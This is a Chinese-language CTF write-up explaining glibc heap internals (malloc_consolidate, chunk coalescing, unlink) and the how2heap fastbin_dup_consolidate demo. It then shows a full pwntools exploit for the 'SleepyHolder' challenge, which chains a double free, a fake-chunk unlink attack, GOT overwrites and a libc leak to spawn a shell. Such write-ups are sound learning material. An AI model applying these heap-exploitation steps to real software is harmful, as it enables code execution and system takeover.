0%

how2heap - fastbin_dup_consolidate&SleepyHolder

how2heap - fastbin_dup_consolidate&SleepyHolder

fastbin_dup_consolidate

写这个题之前先学习了很多前置知识,简略的写一下

how2heap上的 fastbin_dup_consolidate.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);//Here
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

看这段源码时有一段话:Allocated large bin to trigger malloc_consolidate(),暂时不懂这个是什么所以查阅了很多资料

malloc_consolidate:

​ 对于malloc_consolidate函数,malloc_consolidate()free() 的一个小的变体,专门用于处理 fastbin 中的空闲 chunk。同时还负责堆管理的初始化工作

未初始化:

​ 进入 malloc_consolidate() ,首先通过 get_max_fast() 判断当前堆是否已经初始化。当进程第一次调用 malloc() 申请分配的时候,get_max_fast() 返回值等于 0,此时会进行堆的初始化工作

​ 在 malloc_init_state() 里会进行堆的初始化工作,并且会调用set_max_fast() 设置 global_max_fast 为 DEFAULT_MXFAST ,DEFAULT_MXFAST 在 32 位系统上为 64,在 64 位系统上为 128。因而在以后进入 malloc_consolidate() 的时候 get_max_fast() 返回值都不会等于 0,保证不会重复进行堆的初始化工作

已初始化:

​ 如果 get_max_fast() 返回值不等于 0,说明堆已经初始化,接下来就将 fastbin 中的每一个 chunk 合并整理到 unsorted_bin 或 top_chunk。

​ 其中对每一个 chunk,首先尝试向后合并,然后调用 unlink() 宏将后方 chunk 从其链接的 bin 中脱链(然后看到这里又去查阅了很多向前合并和向后合并的知识,具体见下文

  1. get_max_fast() 返回 0,则进行堆的初始化工作,然后进入第 7 步
  2. 从 fastbin 中获取一个空闲 chunk
  3. 尝试向后合并
  4. 尝试向前合并,若向前相邻 top_chunk,则直接合并到 top_chunk,然后进入第 6 步
  5. 否则向前合并后,插入到 unsorted_bin 中
  6. 获取下一个空闲 chunk,回到第 2 步,直到所有 fastbin 清空后进入第 7 步
  7. 退出函数

原文链接:https://blog.csdn.net/plus_re/article/details/79265805

向后合并:

  • 检查p指向chunk的size字段的pre_inuse位,是否为0(也就是检查当前chunk的前一块chunk是否是free的,如果是则进入向前合并的流程)
  • 获取前一块chunk的size,并加到size中(以此来表示size大小上已经合并)
  • 根据当前chunk的presize来获得指向前一块chunk的指针
  • 将这个指针传入unlink的宏(也就是让free掉的chunk的前一块chunk进入到unlink流程)

向前合并:

如果free掉的chunk相邻的下一块chunk (下面用nextchunk表示,并且nextsize表示它的大小) 不是topchunk,并且是free的话就进入向前合并的流程。

如果nextchunk不是free的,则修改他的size字段的pre_inuse位。
如果nextchunk是topchunk则和topchunk进行合并。

ps:检测nextchunk是否free,是通过 inuse_bit_at_offset(nextchunk, nextsize)获得nextchunk的相邻下一块chunk的size字段的presize位实现的

向前合并流程:

  • 让nextchunk进入unlink流程
  • 给size加上nextsize(同理也是表示大小上两个chunk已经合并了)

原文链接:https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl

接着又学到了unlink()的一些东西

unlink:

把源码一拖稍微缕了缕,大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
unlink(AV, P, BK, FD)//P是指向本chunk的指针
{
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//检查本chunk的size和next chunk的prev_size段是否相等,排除了fast chunk

FD = P->fd;//P+0x10
BK = P->bk;//P+0x18 FD和BK分别指向forward chunk和back chunk

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
//检查前chunk的bk和后chunk的fd是否与P相等
else
{
FD->bk = BK;
BK->fd = FD;//链表的卸下操作

if (!in_smallbin_range (chunksize_nomask (P))&&
__builtin_expect (P->fd_nextsize != NULL, 0))//当链表为large bin且fd_nextsize不为空
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
//检查前chunk的bk_nextsize和后chunk的fd_nextsize是否与P相等

if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;}
}
}
}

这其中对于large chunk中fd_nextsize还有bk_nextsize的一些利用解释起来有点多

给个链接自己以后方便查阅吧:https://blog.csdn.net/Plus_RE/article/details/79270350

Debug

接下来自己debug一下fastbin_dup_consolidate.c

free掉p1之后:

然后malloc一个large chunk触发malloc_consolidate(),我这里和how2heap上不同的是这个fast chunk被放入了smallbins而不是unsortedbin,不过好像对于double free的利用暂无大碍(此处待深入)

再次调用free(p1)

此时在fastbins还有smallbins中都存在这个chunk,从而在malloc(0x40)两次时double free的利用被触发,先取fastbin、再取smallbin

SleepyHolder

程序分析

一上来先malloc了一个size随机的chunk,然后进入正常的菜单

Keep

选择一个固定大小的small、big、huge大小的secret,然后calloc,对应的每个secret只能calloc一次,然后把ptr存在bss段上,通过记录来实现无法多次calloc

Wipe

选择small、big secret来free(没有huge),并清除记录,没有清除ptr,也没有检查是using or not

Renew

选择small、big secret,检查标记后通过read renew

Exploit

首先keep一个small secret,然后keep一个big secret(防止wipe时small secret被merge到top_chunk中去),wipe small secret使其链入fastbin之后keep一个huge secret(trigger malloc_consolidate),这时small secret进入smallbins(并且big secret的prev_inuse位被更改,使得后续进行unlink利用),第二次wipe small secret,构成double free(主要是为了keep一次small secret之后big secret的prev_inuse不被更改,而又能对small secret进行操作),代码&heap图如下所示

1
2
3
4
5
keep(1,'aaaaaaaa')#keep small secret
keep(2,'bbbbbbbb')#keep big secret
wipe(1)#wipe small
keep(3,'cccccccc')#keep huge
wipe(1)#wipe small Double freed now

接着keep small secret,填入一个fake chunk,接下来会wipe big secret,此时prev_inuse依然为0(因为fastbin里面的操作不会修改这个位),会向后合并这个fake chunk并trigger unlink,为了绕过unlink的检测机制,我们现在在bss段上刚好有一个指向这个fake chunk的指针——small_ptr(即这个chunk data部分的指针),所以根据fd和bk指针的偏移,fake chunk填入的内容应该是p64(0)+p64(0x21)+p64(&small_ptr-0x18)+p64(&small_ptr-0x10)+p64(0x20)

1
2
3
4
5
f_ptr = 0x6020d0#small_ptr
fake_chunk = p64(0) + p64(0x21)#fake chunk [prev_size,size]
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)#[fd,bk]
fake_chunk += '\x20'#fake [prev_size]
keep(1, fake_chunk,huge=False)

接着wipe big secret,trigger unlink,因为对unlink暂时不是很熟,所以记录一下细节。如下:

1
wipe(2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unlink(AV, P, BK, FD)//P是指向本chunk的指针,此时指向fake chunk,即small secret的data处
{
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
//检查本chunk的size(0x20)和next chunk的prev_size(fake padding:0x20)是否相等

FD = P->fd;//P+0x10 FD=0x6020b8(&small_ptr-0x18)
BK = P->bk;//P+0x18 BK=0x6020c0(&small_ptr-0x10)

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
//FD->bk=0x6020b8+0x18=0x6020d0(&small_ptr)
//BK->fd=0x6020c0+0x10=0x6020d0(&small_ptr) check pass
malloc_printerr ("corrupted double-linked list");
else
{
FD->bk = BK;//0x6020d0(small_ptr)=0x6020c0(big_ptr)
BK->fd = FD;//0x6020d0(small_ptr)=0x6020b8(...)

执行结束之后small_ptr指向0x6020b8,此时利用renew便可开始进行写

1
2
3
4
f = p64(0)#padding
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)#big_ptr,huge_ptr,small_ptr
f += p32(1)#Make big secret be using
renew(1, f)

填充之后:

接着利用renew将free_GOT改成puts_plt,然后调用wipe(big)时,即可输出atoi在GOT表的地址,计算出libc base之后(直接修改free_GOT为one_gadget我没成功,条件均不满足)使用system("/bin/sh") getshell,具体步骤如下:

1
2
3
4
5
6
7
8
renew(1, p64(puts_plt))#make free_GOT->puts_plt
wipe(2)#do puts(atoi_GOT)

libc_base=my_u64(p.recv(6))-0x36e80#atoi base

renew(1,p64(libc_base+0x45390))#make free_GOT->system
keep(2,'/bin/sh',huge=False)#big_ptr->"/bin/sh"
wipe(2)#do system(big_ptr)->system("/bin/sh")

最终getshell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'SleepyHolder' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here

def keep(size,content,huge=True):#size:1 small,2 big,3 huge
p.recvuntil('Renew secret\n')
p.send('1')
if huge:
p.recvuntil('lock it forever\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)
else:
p.recvuntil('Big secret\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)

def wipe(size):
p.recvuntil('Renew secret\n')
p.send('2')
p.recvuntil('Big secret\n')
p.send(str(size))

def renew(size,content):
p.recvuntil('Renew secret\n')
p.send('3')
p.recvuntil('Big secret\n')
p.send(str(size))
p.recvuntil('secret: \n')
p.send(content)
sleep(3)

keep(1,'aaaaaaaa')#keep small secret
keep(2,'bbbbbbbb')#keep big secret
wipe(1)#wipe small
keep(3,'cccccccc')#keep huge
wipe(1)#wipe small
log.info("\033[1;36m" + 'Double free now' + "\033[0m")



f_ptr = 0x6020d0#small_ptr
fake_chunk = p64(0) + p64(0x21)#fake chunk [prev_size,size]
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)#[fd,bk]
fake_chunk += '\x20'#fake prev_size
keep(1, fake_chunk,huge=False)#
wipe(2)#trigger Unlink
log.info("\033[1;36m" + 'Unlink now' + "\033[0m")

atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760

f = p64(0)#padding
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)#big_ptr,huge_ptr,small_ptr
f += p32(1)#Make big secret be using
renew(1, f)
renew(1, p64(puts_plt))#make free_GOT->puts_plt
wipe(2)#do puts(atoi_GOT)

libc_base=my_u64(p.recv(6))-0x36e80#atoi base

log.info("\033[1;36m" +'libc_base:'+hex(libc_base) + "\033[0m")

renew(1,p64(libc_base+0x45390))#free_GOT->system
keep(2,'/bin/sh',huge=False)#big_ptr->"/bin/sh"
wipe(2)#do system(big_ptr)->system("/bin/sh")

p.interactive()